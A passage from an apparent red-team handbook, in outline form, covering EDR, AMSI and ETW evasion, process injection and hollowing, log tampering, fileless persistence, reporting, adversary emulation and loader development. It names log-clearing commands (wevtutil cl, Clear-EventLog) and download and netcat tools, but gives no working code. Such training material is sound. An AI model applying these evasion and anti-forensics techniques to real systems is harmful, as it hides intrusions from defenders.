**String splitting** concatenate at runtime\n- **Encoding** base64, custom\n\nObfuscation changes file appearance.\n\n**Metamorphic Code**\n\nCode that changes itself:\n\n- **Instruction substitution** equivalent opcodes\n- **Register swapping** different registers\n- **Code permutation** reorder instructions\n- **Garbage insertion** useless operations\n- **Semantic preservation** same functionality\n- **New generation** each infection\n\nMetamorphic evades pattern matching.\n\n**Polymorphic Code**\n\nEncrypted with changing decryption:\n\n- **Encrypted payload** main code\n- **Decryption routine** multiple forms\n- **Mutation engine** generate new decryptors\n- **New encryption key** each time\n- **Different decryptor** but same payload\n- **Decryptor signature** may be detected\n\nPolymorphic common in malware.\n\n### 21.2 Behavioral Detection\n\nEDR monitors behavior, not just signatures.\n\n**Behavioral Analysis**\n\nEDR monitoring:\n\n- **Process creation** new processes\n- **API calls** sequence and parameters\n- **Network connections** unusual destinations\n- **File operations** modifications\n- **Registry changes** persistence\n- **Memory operations** injection\n\nBehavior patterns indicate compromise.\n\n**API Hooking**\n\nHow EDR monitors:\n\n- **User-mode hooks** in DLLs\n- **Kernel-mode callbacks** for events\n- **ETW providers** event tracing\n- **Sysmon** detailed logging\n- **Mini-filter drivers** file system\n- **Network filters** packet inspection\n\nHooks intercept operations.\n\n**Bypass Strategies**\n\nBehavioral evasion:\n\n- **Timing delays** avoid rapid execution\n- **Unhook EDR** remove hooks\n- **Direct system calls** bypass user-mode\n- **Alternative APIs** less monitored\n- **Dual-use tools** LOLBins\n- **Sleeping** before malicious activity\n\nEach strategy reduces detection.\n\n**Direct System Calls**\n\nSyscall technique:\n\n- **Bypass user-mode hooks** call kernel directly\n- **Syscall numbers** OS-specific\n- **Assembly implementation** avoid monitored APIs\n- **Hell's Gate** syscall discovery\n- **Halo's Gate** variation\n- **Syscall tables** from ntdll\n\nSyscalls evade user-mode hooks.\n\n### 21.3 AMSI Bypass\n\nBypassing Windows Antimalware Scan Interface.\n\n**AMSI Purpose**\n\nAMSI capabilities:\n\n- **Script scanning** PowerShell, VBScript\n- **Memory scanning** .NET assemblies\n- **Content scanning** before execution\n- **Provider model** multiple AV engines\n- **Real-time protection** script blocks\n- **Integration** with AV/EDR\n\nAMSI blocks malicious scripts.\n\n**AMSI Bypass Techniques**\n\nCommon bypass methods:\n\n- **Patching amsi.dll** modify in memory\n- **Hooking bypass** unhook functions\n- **Registry disabling** if permitted\n- **Reflection abuse** .NET internals\n- **Memory patching** AmsiScanBuffer\n- **COM initialization** technique\n\nEach bypass requires code execution.\n\n**PowerShell Bypasses**\n\nPowerShell-specific AMSI bypass:\n\n- **One-liner patches** minimal code\n- **Reflection** to modify AMSI\n- **Downgrade attacks** older PowerShell\n- **Unloading AMSI** from process\n- **Memory editing** of AMSI state\n- **Suspicious variable** naming\n\nPowerShell common attack vector.\n\n**Memory Patching**\n\nAmsiScanBuffer patching:\n\n- **Find function** in memory\n- **Modify instructions** return early\n- **Patch scan result** always clean\n- **In-memory only** no disk changes\n- **Undo after** stealth operation\n- **Per-process** affects current only\n\nPatching common bypass.\n\n### 21.4 ETW Bypass\n\nEvading Event Tracing for Windows.\n\n**ETW Functionality**\n\nETW capabilities:\n\n- **Event providers** applications, OS\n- **Event consumers** security tools\n- **Kernel-mode ETW** system events\n- **User-mode ETW** process events\n- **Event filtering** by keywords\n- **Real-time collection** by SIEM\n\nETW provides visibility.\n\n**ETW Bypass Techniques**\n\nDisabling ETW:\n\n- **Patch providers** disable event generation\n- **Block consumers** prevent collection\n- **Remove logging** for specific events\n- **Tamper with ETW** sessions\n- **Disable ETW** via registry (requires admin)\n- **Per-process patching** of ETW functions\n\nBypass reduces telemetry.\n\n**PowerShell ETW**\n\nPowerShell ETW:\n\n- **Script block logging** detailed scripts\n- **Module logging** loaded modules\n- **Pipeline execution** details\n- **Protected event logging** encrypted\n- **Deep script block** logging\n\nPowerShell ETW provides visibility.\n\n**Bypass Implementation**\n\nPractical ETW bypass:\n\n- **Patch ntdll!EtwEventWrite** disable writing\n- **Patch clr!** for .NET events\n- **Reflection to disable** in process\n- **Suspended process** then resume\n- **Memory modification** of ETW state\n- **Restore later** after operation\n\nImplementation varies by provider.\n\n### 21.5 In-Memory Execution\n\nExecuting code without writing to disk.\n\n**Memory-Only Techniques**\n\nFileless execution:\n\n- **Process injection** into legitimate processes\n- **PowerShell scripts** in memory\n- **.NET assembly** loading from bytes\n- **Shellcode** execution in memory\n- **Reflective DLL** loading\n- **PE execution** from memory\n\nNo disk writes evades file scanning.\n\n**Process Injection Methods**\n\nInjection techniques:\n\n- **Classic injection** VirtualAllocEx, WriteProcessMemory, CreateRemoteThread\n- **APC injection** asynchronous procedure calls\n- **Thread hijacking** suspend existing thread\n- **Process hollowing** replace process memory\n- **Atom bombing** via global atoms\n- **QueueUserAPC** for execution\n\nEach technique different tradeoffs.\n\n**Process Hollowing**\n\nProcess replacement:\n\n- **Create suspended** process\n- **Unmap original** memory\n- **Write malicious** image\n- **Set entry point** to malicious\n- **Resume thread** execute\n- **Parent spoofing** hide origin\n\nHollowing common in malware.\n\n**Reflective DLL Injection**\n\nLoading DLLs from memory:\n\n- **No LoadLibrary** needed\n- **Manual mapping** of PE\n- **Import resolution** manually\n- **Relocation** for ASLR\n- **Entry point** DllMain\n- **Unlink from** loaded modules list\n\nReflective injection stealthy.\n\n---\n\n## Chapter 22: Logging & Detection Bypass\n\n### 22.1 SIEM Evasion\n\nBypassing Security Information and Event Management.\n\n**SIEM Architecture**\n\nSIEM components:\n\n- **Log collection** from sources\n- **Normalization** common format\n- **Correlation rules** threat detection\n- **Alerting** security team\n- **Dashboards** visualization\n- **Retention** historical storage\n\nUnderstanding aids evasion.\n\n**Log Manipulation**\n\nAltering logs:\n\n- **Delete logs** after event\n- **Modify entries** change details\n- **Inject false** misleading entries\n- **Stop logging** disable sources\n- **Fill disk** prevent new logs\n- **Log rotation** exploit\n\nManipulation hides activity.\n\n**Timing Evasion**\n\nOperating during gaps:\n\n- **Off-hours** when monitoring reduced\n- **High volume** during busy times\n- **Weekend operations** fewer staff\n- **Holidays** reduced coverage\n- **Between scans** scheduled intervals\n- **Maintenance windows** expected activity\n\nTiming reduces detection.\n\n**Threshold Bypass**\n\nStaying under limits:\n\n- **Slow attacks** below rate limits\n- **Distributed** across sources\n- **Normal patterns** mimic baseline\n- **Incremental** small changes\n- **Session limits** per authentication\n- **Data volume** small exfiltration\n\nThresholds define alert triggers.\n\n### 22.2 Log Tampering\n\nModifying or deleting logs.\n\n**Windows Event Logs**\n\nEvent log locations:\n\n- **Security.evtx** security events\n- **System.evtx** system events\n- **Application.evtx** application events\n- **PowerShell.evtx** script blocks\n- **Microsoft-Windows-Sysmon/Operational** Sysmon\n- **ForwardedEvents** centralized\n\nEach log location targeted.\n\n**Log Clearing**\n\nClearing techniques:\n\n- **Clear-EventLog** PowerShell\n- **wevtutil cl** command-line\n- **Event Viewer** manual clear\n- **Log file deletion** physical file\n- **Service restart** log behavior\n- **Selective deletion** specific events\n\nClearing obvious to defenders.\n\n**Selective Log Tampering**\n\nTargeted log modification:\n\n- **Event ID removal** specific events\n- **Time modification** alter timestamps\n- **User context** change account\n- **Source IP** modification\n- **Event details** alter fields\n- **Correlation breaking** remove links\n\nSelective harder to detect.\n\n**Anti-Forensics**\n\nCovering tracks:\n\n- **Timestamp manipulation** touch, SetFileTime\n- **File metadata** modification\n- **Registry access** clear MRU\n- **Prefetch deletion** executable traces\n- **Jump lists** remove recent\n- **Shellbags** usage evidence\n\nAnti-forensics complicates investigation.\n\n### 22.3 Living Off The Land (LOLBins)\n\nUsing legitimate tools for malicious purposes.\n\n**LOLBin Concept**\n\nLiving off the land:\n\n- **Built-in tools** in Windows/Linux\n- **Digitally signed** by Microsoft\n- **Whitelisted** by application control\n- **Commonly used** in administration\n- **Low suspicion** from monitoring\n- **No download** required\n\nLOLBins evade detection.\n\n**Windows LOLBins**\n\nCommon Windows binaries:\n\n- **PowerShell** script execution\n- **Cmd.exe** command execution\n- **Wmic.exe** process creation\n- **Mshta.exe** HTML application\n- **Regsvr32.exe** COM registration\n- **Certutil.exe** file download\n\nEach enables specific functionality.\n\n**Linux LOLBins**\n\nLinux living off land:\n\n- **curl/wget** file download\n- **nc (netcat)** network access\n- **bash** script execution\n- **python/perl** code execution\n- **ssh** file transfer\n- **systemd** persistence\n\nNative tools less suspicious.\n\n**LOLBin Detection Challenges**\n\nDetection difficulty:\n\n- **Legitimate use** indistinguishable\n- **Command-line arguments** only clues\n- **Parent-child relationships** anomalous\n- **Frequency analysis** unusual volume\n- **Network connections** unexpected\n- **Timing patterns** off-hours\n\nDetection requires context.\n\n### 22.4 Fileless Malware\n\nMalware operating without files.\n\n**Fileless Persistence**\n\nRegistry-based persistence:\n\n- **Run keys** HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n- **Scheduled tasks** XML in registry\n- **WMI event** subscriptions\n- **COM hijacking** object registration\n- **Image file execution** options\n- **Boot execute** modifications\n\nRegistry persistence fileless.\n\n**Memory-Only Malware**\n\nResident in memory:\n\n- **Process injection** in legitimate processes\n- **Kernel memory** rootkits\n- **PowerShell scripts** in memory\n- **.NET assemblies** loaded from bytes\n- **Shellcode** execution\n- **Reflective DLL** loading\n\nMemory-only leaves no files.\n\n**WMI Persistence**\n\nWMI for persistence:\n\n- **Event filters** trigger conditions\n- **Event consumers** action on trigger\n- **Filter-to-consumer** binding\n- **Permanent WMI** subscriptions\n- **Script consumers** execute code\n- **Command-line** persistence\n\nWMI persistence hard to detect.\n\n**Registry Scripts**\n\nScripts in registry:\n\n- **PowerShell encoded** in registry values\n- **JavaScript** in registry\n- **VBScript** stored\n- **Base64 encoded** payloads\n- **Auto-run** from registry\n- **Script execution** from memory\n\nScripts retrieved at runtime.\n\n---\n\n# PART IX \u2013 REPORTING & PROFESSIONAL PRACTICE\n\n## Chapter 23: Reporting\n\n### 23.1 Executive Summary\n\nCommunicating findings to non-technical leadership.\n\n**Executive Summary Purpose**\n\nGoals of executive summary:\n\n- **Business impact** focus\n- **Risk communication** to leadership\n- **Resource justification** for remediation\n- **Technical translation** to business terms\n- **Key messages** highlight critical\n- **Actionable guidance** next steps\n\nSummarize for decision-makers.\n\n**Content Structure**\n\nExecutive summary elements:\n\n- **Engagement overview** scope and objectives\n- **Overall risk rating** organization context\n- **Critical findings** most important\n- **Business impact** potential consequences\n- **Strategic recommendations** high-level\n- **Positive observations** what's working\n\nStructure enables quick understanding.\n\n**Risk Communication**\n\nExplaining risk to executives:\n\n- **Financial impact** potential losses\n- **Operational disruption** business interruption\n- **Regulatory consequences** compliance failures\n- **Reputational damage** customer trust\n- **Competitive advantage** IP loss\n- **Legal liability** breach consequences\n\nBusiness terms resonate.\n\n**Tone and Language**\n\nEffective executive communication:\n\n- **Avoid jargon** technical terms explained\n- **Concise writing** brevity respected\n- **Confidence without** arrogance\n- **Solutions-focused** not just problems\n- **Prioritized messages** most important first\n- **Visual aids** charts and graphs\n\nTone influences response.\n\n### 23.2 Risk Rating Methodologies\n\nAssessing and prioritizing findings.\n\n**Risk Factors**\n\nRisk determination elements:\n\n- **Likelihood** probability of exploitation\n- **Impact** consequences if exploited\n- **Threat context** actor capabilities\n- **Asset value** target importance\n- **Control effectiveness** existing mitigations\n- **Exposure** accessibility\n\nMultiple factors combined.\n\n**Qualitative Rating**\n\nDescriptive risk levels:\n\n- **Critical** immediate attention\n- **High** urgent remediation\n- **Medium** planned remediation\n- **Low** acceptable risk\n- **Informational** no action needed\n\nQualitative common in reports.\n\n**Quantitative Rating**\n\nNumerical risk scoring:\n\n- **CVSS** Common Vulnerability Scoring System\n- **DREAD** Damage, Reproducibility, Exploitability, Affected users, Discoverability\n- **OWASP Risk Rating** methodology\n- **FAIR** Factor Analysis of Information Risk\n- **Annualized Loss** Expectancy (ALE)\n- **Monte Carlo** simulations\n\nQuantitative more complex.\n\n**CVSS Scoring**\n\nCVSS components:\n\n- **Base metrics** intrinsic qualities\n- **Temporal metrics** time-dependent\n- **Environmental metrics** organizational context\n- **Vector string** score representation\n- **Numerical score** 0-10 scale\n- **Severity ratings** None to Critical\n\nCVSS industry standard.\n\n### 23.3 CVSS Scoring\n\nDetailed CVSS application.\n\n**Base Metrics**\n\nCVSS base components:\n\n- **Attack Vector** (AV) network, adjacent, local, physical\n- **Attack Complexity** (AC) low, high\n- **Privileges Required** (PR) none, low, high\n- **User Interaction** (UI) none, required\n- **Scope** (S) unchanged, changed\n- **Confidentiality** (C) none, low, high\n- **Integrity** (I) none, low, high\n- **Availability** (A) none, low, high\n\nEach metric affects score.\n\n**Temporal Metrics**\n\nTime-dependent factors:\n\n- **Exploit Code Maturity** (E) availability\n- **Remediation Level** (RL) fixes available\n- **Report Confidence** (RC) verification\n\nTemporal adjusts base score.\n\n**Environmental Metrics**\n\nOrganizational context:\n\n- **Modified Base Metrics** custom values\n- **Confidentiality Requirement** (CR)\n- **Integrity Requirement** (IR)\n- **Availability Requirement** (AR)\n\nEnvironmental tailors score.\n\n**CVSS Calculation**\n\nScore computation:\n\n- **Base score** from base metrics\n- **Temporal score** base * temporal\n- **Environmental score** temporal * environmental\n- **Vector string** representation (CVSS:3.1/AV:N/AC:L/...)\n- **Online calculators** available\n- **Interpretation** guidance provided\n\nCalculation standardized.\n\n### 23.4 Remediation Guidance\n\nProviding actionable fixes.\n\n**Remediation Types**\n\nFix categories:\n\n- **Configuration changes** settings\n- **Patch application** updates\n- **Code fixes** development\n- **Process improvements** procedures\n- **Architecture changes** redesign\n- **Compensating controls** alternative\n\nType determines effort.\n\n**Prioritization**\n\nRemediation ordering:\n\n- **Critical first** highest risk\n- **Quick wins** easy fixes\n- **Dependencies** prerequisite fixes\n- **Effort vs impact** cost-benefit\n- **Business constraints** operational needs\n- **Resource availability** team capacity\n\nPrioritization guides planning.\n\n**Specific Guidance**\n\nEffective recommendations:\n\n- **Step-by-step** actionable instructions\n- **Verification steps** confirm fix\n- **Testing guidance** safe deployment\n- **Rollback procedures** if issues\n- **Timeline estimates** effort required\n- **References** documentation links\n\nSpecificity enables action.\n\n**Compensating Controls**\n\nAlternative mitigations:\n\n- **Monitoring** detect exploitation\n- **Network segmentation** limit impact\n- **Access restrictions** reduce exposure\n- **Application controls** block execution\n- **User awareness** training\n- **Incident response** preparation\n\nCompensating when fix impossible.\n\n### 23.5 Evidence Documentation\n\nSupporting findings with proof.\n\n**Evidence Types**\n\nDocumentation forms:\n\n- **Screenshots** visual proof\n- **Command output** terminal logs\n- **Tool reports** automated results\n- **Code snippets** proof of concept\n- **Network captures** packet evidence\n- **Timeline logs** sequence of events\n\nMultiple types strengthen findings.\n\n**Screenshot Best Practices**\n\nEffective screenshots:\n\n- **Date/time visible** temporal context\n- **Host identification** system name\n- **Command context** what was run\n- **Redact sensitive** information\n- **Annotate highlights** point to evidence\n- **Concise cropping** focus on relevant\n\nScreenshots prove exploitation.\n\n**Proof of Concept**\n\nExploit demonstration:\n\n- **Reproducible steps** clear instructions\n- **Minimal impact** safe testing\n- **Expected results** what happens\n- **Cleanup instructions** revert changes\n- **Dependencies** required conditions\n- **Limitations** when it works\n\nPoC validates findings.\n\n**Chain of Custody**\n\nEvidence handling:\n\n- **Collection method** how obtained\n- **Timestamp** when collected\n- **Collector identity** who gathered\n- **Storage location** where kept\n- **Access logging** who viewed\n- **Retention policy** how long kept\n\nChain maintains integrity.\n\n---\n\n## Chapter 24: Red Team Campaign Reporting\n\n### 24.1 Attack Narrative\n\nStorytelling for red team results.\n\n**Narrative Purpose**\n\nWhy narrative matters:\n\n- **Contextual understanding** full picture\n- **Attack path clarity** how access gained\n- **Defender perspective** what was missed\n- **Learning opportunity** improvement focus\n- **Engagement** stakeholder interest\n- **Memorability** better retention\n\nNarrative brings data to life.\n\n**Narrative Structure**\n\nAttack story elements:\n\n- **Initial access** how entry gained\n- **Lateral movement** how expanded\n- **Persistence** how maintained\n- **Objective achievement** what accomplished\n- **Detection points** when/if detected\n- **Time sequence** timeline of events\n\nStructure follows operation flow.\n\n**Technical Detail Balance**\n\nAppropriate depth:\n\n- **Executive level** high-level story\n- **Technical audience** detailed steps\n- **Defensive team** IoCs, TTPs\n- **Management** impact focus\n- **Mixed audience** layered reporting\n- **Appendices** deep technical details\n\nBalance meets audience needs.\n\n**Visual Storytelling**\n\nMaps and diagrams:\n\n- **Attack path visualization** node graphs\n- **Timeline charts** sequence\n- **Network diagrams** pivots\n- **Heat maps** detection gaps\n- **MITRE ATT&CK** mapping\n- **Infrastructure diagrams** C2 setup\n\nVisuals enhance understanding.\n\n### 24.2 Timeline Creation\n\nDocumenting operation chronology.\n\n**Timeline Components**\n\nTimeline elements:\n\n- **Events** what happened\n- **Timestamps** when it happened\n- **Duration** how long it took\n- **Sequencing** order of events\n- **Gaps** unexplained periods\n- **Detection events** defender actions\n\nComplete timeline shows flow.\n\n**Data Sources**\n\nTimeline information:\n\n- **C2 logs** beacon check-ins\n- **Tool logs** command execution\n- **Operator notes** manual actions\n- **Target logs** (if available)\n- **Network captures** traffic\n- **Screenshots** with timestamps\n\nMultiple sources cross-reference.\n\n**Detection Timeline**\n\nDefender perspective:\n\n- **Alert times** when triggered\n- **Investigation start** when noticed\n- **Containment actions** response steps\n- **Recovery time** restoration\n- **Missed opportunities** gaps\n- **Dwell time** compromise duration\n\nDetection timeline measures effectiveness.\n\n**Visual Timeline**\n\nTimeline presentation:\n\n- **Gantt charts** operation phases\n- **Horizontal bars** activity duration\n- **Color coding** activity types\n- **Milestone markers** key events\n- **Detection indicators** when caught\n- **Annotations** context notes\n\nVisual timelines communicate clearly.\n\n### 24.3 Impact Analysis\n\nAssessing potential business impact.\n\n**Impact Categories**\n\nTypes of impact:\n\n- **Data breach** confidentiality loss\n- **System disruption** availability loss\n- **Financial fraud** monetary loss\n- **Intellectual property** theft\n- **Regulatory violation** compliance failure\n- **Reputational damage** trust erosion\n\nEach category quantified.\n\n**Data Exposure Assessment**\n\nSensitive data accessed:\n\n- **Data types** PII, financial, health\n- **Volume** records exposed\n- **Sensitivity** classification level\n- **Regulatory implications** GDPR, HIPAA\n- **Customer impact** affected individuals\n- **Notification requirements** breach reporting\n\nData exposure primary concern.\n\n**Operational Impact**\n\nBusiness disruption potential:\n\n- **Critical systems** affected\n- **Downtime duration** potential\n- **Revenue impact** per hour/day\n- **Productivity loss** employee impact\n- **Customer impact** service degradation\n- **Recovery costs** incident response\n\nOperational impact financial.\n\n**Strategic Impact**\n\nLong-term consequences:\n\n- **Competitive position** IP loss\n- **Market perception** trust erosion\n- **Partner relationships** confidence loss\n- **Regulatory scrutiny** increased oversight\n- **Legal liability** lawsuits\n- **Insurance implications** premium increases\n\nStrategic hardest to quantify.\n\n### 24.4 Detection Gaps\n\nIdentifying monitoring deficiencies.\n\n**Gap Categories**\n\nDetection weaknesses:\n\n- **Logging gaps** missing telemetry\n- **Alert failures** rules not triggering\n- **Coverage gaps** techniques undetected\n- **Correlation misses** related events\n- **Response delays** slow investigation\n- **Tool limitations** capability gaps\n\nCategorization aids remediation.\n\n**ATT&CK Mapping**\n\nGap visualization:\n\n- **Techniques used** in operation\n- **Techniques detected** triggered alerts\n- **Detection rate** percentage\n- **Coverage heat map** visual gaps\n- **Trend analysis** over time\n- **Comparison** to industry\n\nATT&CK provides framework.\n\n**Root Cause Analysis**\n\nWhy gaps exist:\n\n- **Configuration issues** settings\n- **Missing tools** capability\n- **Insufficient coverage** scope\n- **Alert tuning** thresholds\n- **Log retention** duration\n- **Skill gaps** analyst expertise\n\nRoot cause determines fix.\n\n**Improvement Recommendations**\n\nClosing gaps:\n\n- **Log source addition** new telemetry\n- **Rule creation** new alerts\n- **Tool acquisition** new capabilities\n- **Training** analyst development\n- **Process changes** workflow\n- **Architecture improvements** redesign\n\nRecommendations actionable.\n\n### 24.5 Purple Team Collaboration\n\nWorking with defenders for improvement.\n\n**Purple Team Objectives**\n\nCollaboration goals:\n\n- **Knowledge transfer** from red to blue\n- **Detection validation** testing alerts\n- **Response improvement** faster reaction\n- **Control enhancement** better prevention\n- **Skill development** team growth\n- **Relationship building** trust\n\nObjectives align teams.\n\n**Exercise Structure**\n\nPurple team format:\n\n- **Joint planning** shared objectives\n- **Controlled execution** with observation\n- **Real-time feedback** immediate insights\n- **After-action review** discussion\n- **Action items** improvements\n- **Follow-up testing** validation\n\nStructure enables learning.\n\n**Information Sharing**\n\nWhat to share:\n\n- **TTPs used** in operation\n- **Indicators** observable artifacts\n- **Detection opportunities** what to monitor\n- **Attack paths** how access gained\n- **Tool capabilities** what's possible\n- **Operator mindset** thought process\n\nSharing improves defense.\n\n**Continuous Improvement**\n\nOngoing process:\n\n- **Regular exercises** schedule\n- **Metrics tracking** progress\n- **Gap remediation** closing holes\n- **New technique testing** emerging threats\n- **Team rotation** perspective sharing\n- **Industry collaboration** external learning\n\nImprovement never ends.\n\n---\n\n# PART X \u2013 ADVANCED RED TEAM OPERATIONS\n\n## Chapter 25: Adversary Emulation\n\n### 25.1 Threat Actor Profiling\n\nUnderstanding specific adversaries.\n\n**Profiling Sources**\n\nThreat intelligence:\n\n- **APT reports** vendor research\n- **Government alerts** CISA, NCSC\n- **Open-source intelligence** blogs, tweets\n- **Private intelligence** commercial feeds\n- **Internal incidents** past breaches\n- **Information sharing** ISACs\n\nMultiple sources build profile.\n\n**TTP Documentation**\n\nAdversary behavior:\n\n- **Initial access** methods\n- **Execution** techniques\n- **Persistence** mechanisms\n- **Privilege escalation** approaches\n- **Defense evasion** methods\n- **Credential access** techniques\n- **Discovery** enumeration\n- **Lateral movement** propagation\n- **Collection** data gathering\n- **Command and control** communication\n- **Exfiltration** data theft\n\nComprehensive TTP list.\n\n**Tooling Analysis**\n\nAdversary tools:\n\n- **Custom malware** family names\n- **Public tools** with modifications\n- **Living off land** binaries used\n- **C2 frameworks** specific\n- **Exploits** vulnerabilities targeted\n- **Infrastructure** hosting patterns\n\nTooling fingerprints operations.\n\n**Indicators of Compromise**\n\nObservable artifacts:\n\n- **File hashes** malware samples\n- **IP addresses** C2 servers\n- **Domains** command and control\n- **Registry keys** persistence\n- **Process names** execution\n- **Network patterns** beaconing\n\nIoCs enable detection.\n\n### 25.2 TTP Replication\n\nEmulating adversary techniques.\n\n**Emulation Fidelity**\n\nRealism levels:\n\n- **Low fidelity** similar technique\n- **Medium fidelity** same technique class\n- **High fidelity** exact TTPs\n- **Full emulation** including tools\n- **Tool replication** custom builds\n- **Infrastructure mimicry** similar hosting\n\nFidelity affects value.\n\n**Tool Acquisition**\n\nObtaining adversary tools:\n\n- **Public leaks** malware samples\n- **Reverse engineering** from binaries\n- **Reimplementation** custom code\n- **Commercial sources** threat intel\n- **Open-source alternatives** similar functionality\n- **Custom development** from scratch\n\nTool access enables emulation.\n\n**Operational Constraints**\n\nEmulation limitations:\n\n- **Safety modifications** prevent damage\n- **Legal restrictions** malware possession\n- **Infrastructure differences** target environment\n- **Time constraints** operation duration\n- **Resource availability** team size\n- **Detection avoidance** operational security\n\nConstraints shape emulation.\n\n**Validation**\n\nConfirming emulation accuracy:\n\n- **Comparison to threat reports** match?\n- **Detection testing** expected alerts?\n- **Behavior analysis** similar patterns?\n- **Peer review** expert feedback\n- **Tool verification** functionality\n- **Continuous refinement** based on results\n\nValidation ensures fidelity.\n\n### 25.3 Campaign Automation\n\nScaling adversary emulation.\n\n**Automation Benefits**\n\nWhy automate:\n\n- **Consistency** repeatable operations\n- **Efficiency** less operator time\n- **Scalability** more targets\n- **Documentation** automated logging\n- **Complexity** multi-step chains\n- **Speed** faster execution\n\nAutomation enhances capabilities.\n\n**Automation Tools**\n\nCampaign automation platforms:\n\n- **CALDERA** MITRE framework\n- **Atomic Red Team** test cases\n- **Infection Monkey** breach simulation\n- **Prelude** automated adversary\n- **SCYTHE** threat emulation\n- **Custom scripts** tailored automation\n\nPlatforms vary in capability.\n\n**Atomic Tests**\n\nIndividual technique automation:\n\n- **Specific technique** execution\n- **Cleanup procedures** revert changes\n- **Detection validation** alert testing\n- **Documentation** expected results\n- **Dependencies** prerequisites\n- **Multiple platforms** Windows, Linux, macOS\n\nAtomic tests modular.\n\n**Full Campaign Automation**\n\nEnd-to-end operations:\n\n- **Multi-stage attacks** chain techniques\n- **Conditional execution** based on results\n- **State management** track progress\n- **Reporting automation** generate findings\n- **Cleanup** remove artifacts\n- **Repeatability** run multiple times\n\nFull automation complex.\n\n### 25.4 Long-Term Persistence\n\nMaintaining access over extended periods.\n\n**Persistence Objectives**\n\nWhy persist:\n\n- **Continuous access** for operations\n- **Multiple campaigns** reuse access\n- **Resilience** survive reboots\n- **Stealth** maintain undetected\n- **Lateral movement** base for expansion\n- **Exfiltration** ongoing data theft\n\nObjectives determine method.\n\n**Persistence Methods**\n\nCommon persistence techniques:\n\n- **Services** auto-start\n- **Scheduled tasks** recurring execution\n- **Registry run keys** logon startup\n- **Startup folders** user logon\n- **WMI event** subscriptions\n- **DLL hijacking** application loading\n- **Bootkit** before OS\n- **Firmware** hardware level\n\nEach method different stealth.\n\n**Operational Security**\n\nLong-term OPSEC:\n\n- **Low profile** minimal activity\n- **Periodic check-ins** not constant\n- **Jittered timing** unpredictable\n- **Fallback mechanisms** redundancy\n- **Encrypted storage** hidden data\n- **Self-defense** removal prevention\n\nOPSEC maintains persistence.\n\n**Detection Risks**\n\nPersistence exposure:\n\n- **Security scans** configuration checks\n- **AV/EDR** behavioral detection\n- **Log analysis** event monitoring\n- **User activity** unusual behavior\n- **Maintenance** system updates\n- **Patching** vulnerability fixes\n\nRisk increases over time.\n\n---\n\n## Chapter 26: Malware Development for Red Teams\n\n### 26.1 Custom Loaders\n\nBuilding payload loaders for evasion.\n\n**Loader Purpose**\n\nWhy custom loaders:\n\n- **Evade signatures** unique code\n- **Bypass EDR** custom behaviors\n- **Stage payloads** multiple phases\n- **Environment checks** sandbox detection\n- **Obfuscation** hide intent\n- **Flexibility** adapt per target\n\nCustom loaders improve success.\n\n**Loader Architecture**\n\nLoader components:\n\n- **Shellcode** final payload\n- **Decryption** if encrypted\n- **Memory allocation** for payload\n- **Execution** thread/callback\n- **Cleanup** remove traces\n- **Error handling** graceful failure\n\nArchitecture determines capability.\n\n**Execution Methods**\n\nLoader execution:\n\n- **CreateThread** simple execution\n- **CreateRemoteThread** process injection\n- **QueueUserAPC** asynchronous\n- **SetWindowsHookEx** via hooks\n- **Fiber execution** lightweight\n- **Callback functions** via Windows APIs\n\nMethod affects detection.\n\n**Evasion Features**\n\nLoader enhancements:\n\n- **API unhooking** before use\n- **Syscall direct** bypass user-mode\n- **Sleep obfuscation** memory encryption\n- **Beacon splitting** segmented comms\n- **Timing delays** behavioral evasion\n- **Integrity checks** anti-tampering\n\nFeatures improve stealth.\n\n### 26.2 Reflective DLL Injection\n\nLoading DLLs without disk writes.\n\n**Reflective Loading Concept**\n\nHow reflective loading works:\n\n- **DLL in memory** never written\n- **Manual mapping** PE parsing\n- **Import resolution** find functions\n- **Relocation** fix addresses\n- **TLS callbacks** execute\n- **DllMain** entry point\n\nNo LoadLibrary call.\n\n**Implementation Steps**\n\nReflective loader code:\n\n- **Locate DLL** in memory buffer\n- **Parse PE headers** NT headers\n- **Allocate memory** for image\n- **Map sections** copy to new memory\n- **Process imports** load required DLLs\n- **Apply relocations** fix addresses\n- **Call TLS** callbacks\n- **Execute DllMain** entry point\n\nStep-by-step implementation.\n\n**Advantages**\n\nReflective DLL benefits:\n\n- **No disk write** fileless\n- **No LoadLibrary** suspicious API\n- **No PE in modules** hidden from list\n- **Bypass DLL monitoring** EDR evasion\n- **Portable** works across Windows\n- **Flexible** multiple entry points\n\nAdvantages for red teams.\n\n**Detection Challenges**\n\nReflective loading detection:\n\n- **Memory scanning** PE signatures\n- **API monitoring** unusual allocations\n- **Import table** anomalies\n- **Call stack** analysis\n- **Behavioral** execution patterns\n- **Heuristics** suspicious memory\n\nDetection possible with EDR.\n\n### 26.3 Process Hollowing\n\nReplacing process memory with malicious code.\n\n**Hollowing Mechanics**\n\nProcess hollowing steps:\n\n1. **Create process** suspended\n2. **Unmap original** memory (ZwUnmapViewOfSection)\n3. **Allocate memory** for malicious image\n4. **Write payload** to process\n5. **Set entry point** to payload\n6. **Resume thread** execute\n7. **Parent spoofing** optional\n\nSequence enables execution.\n\n**Target Selection**\n\nChoosing processes:\n\n- **Legitimate processes** explorer.exe\n- **Common applications** notepad.exe\n- **Security tools** sometimes\n- **Architecture match** 32/64-bit\n- **Integrity level** same or higher\n- **Persistence** svchost.exe\n\nTarget selection affects stealth.\n\n**Evasion Considerations**\n\nHollowing stealth:\n\n- **Command-line** spoofing\n- **Parent PID** spoofing\n- **Thread start** address\n- **Memory protection** changes\n- **Entry point** anomalies\n- **Timing** execution patterns\n\nEach aspect monitored.\n\n**Modern Detection**\n\nEDR hollowing detection:\n\n- **Memory allocation** monitoring\n- **Unmap events** suspicious\n- **WriteProcessMemory** calls\n- **Thread creation** anomalies\n- **Cross-process** access\n- **Behavior chains** patterns\n\nModern EDR detects hollowing.\n\n### 26.4 Encryption & Packing\n\nProtecting payloads from analysis.\n\n**Encryption Algorithms**\n\nCommon payload encryption:\n\n- **AES** symmetric encryption\n- **RC4** stream cipher\n- **XOR** simple but detectable\n- **Custom algorithms** unique\n- **Chained encryption** multiple layers\n- **Dynamic keys** per execution\n\nEncryption defeats static analysis.\n\n**Decryption Stubs**\n\nDecrypting at runtime:\n\n- **Small stub** minimal footprint\n- **Key management** where stored\n- **In-memory decryption** before execution\n- **Progressive decryption** as needed\n- **Anti-debug** during decryption\n- **Self-modifying** code changes\n\nStub must avoid detection.\n\n**Packing Tools**\n\nPopular packers:\n\n- **UPX** common but signatured\n- **Themida** commercial protector\n- **VMProtect** virtualization\n- **Enigma** commercial\n- **Custom packers** unique\n- 